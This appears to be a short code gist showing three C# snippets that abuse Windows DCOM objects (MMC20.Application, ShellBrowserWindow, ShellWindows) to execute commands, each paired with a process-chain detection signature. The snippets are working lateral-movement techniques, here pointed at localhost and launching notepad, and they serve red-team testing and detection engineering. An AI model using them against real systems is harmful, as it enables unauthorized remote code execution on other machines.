DCOM C#

gistfile1.txt

# MMC (Tested Windows 7, Windows 10, Server 2012R2):
dynamic c = Activator.CreateInstance(Type.GetTypeFromProgID("MMC20.Application", "127.0.0.1"));
c.Document.ActiveView.ExecuteShellCommand(@"C:\Windows\System32\cmd.exe",null,"/c notepad.exe", "7");

## Detection: svchost.exe -DCOMLaunch (parent cmdline) -> mmc.exe (process)

# ShellBrowserWindow (Tested Windows 10, Server 2012R2):
System.Type com = Type.GetTypeFromCLSID(Guid.Parse("C08AFD90-F2A1-11D1-8455-00A0C91F3880"), "127.0.0.1");
dynamic obj = System.Activator.CreateInstance(com);
obj.Document.Application.ShellExecute("notepad.exe","","c:\\windows",null,0);

## Detection: svchost.exe -DCOMLaunch (parent cmdline) -> rundll32.exe Shell32,ShellExecute (process)

# ShellWindows (Tested Windows 7, Windows 10, Server 2012R2):
System.Type com = Type.GetTypeFromCLSID(Guid.Parse("9BA05972-F6A8-11CF-A442-00A0C90A8F39"), "127.0.0.1");
dynamic obj = System.Activator.CreateInstance(com);
obj.Item().Document.Application.ShellExecute("notepad.exe","","c:\\windows",null,0);

## Detection: svchost.exe -DCOMLaunch (parent cmdline) -> rundll32.exe Shell32,ShellExecute (process)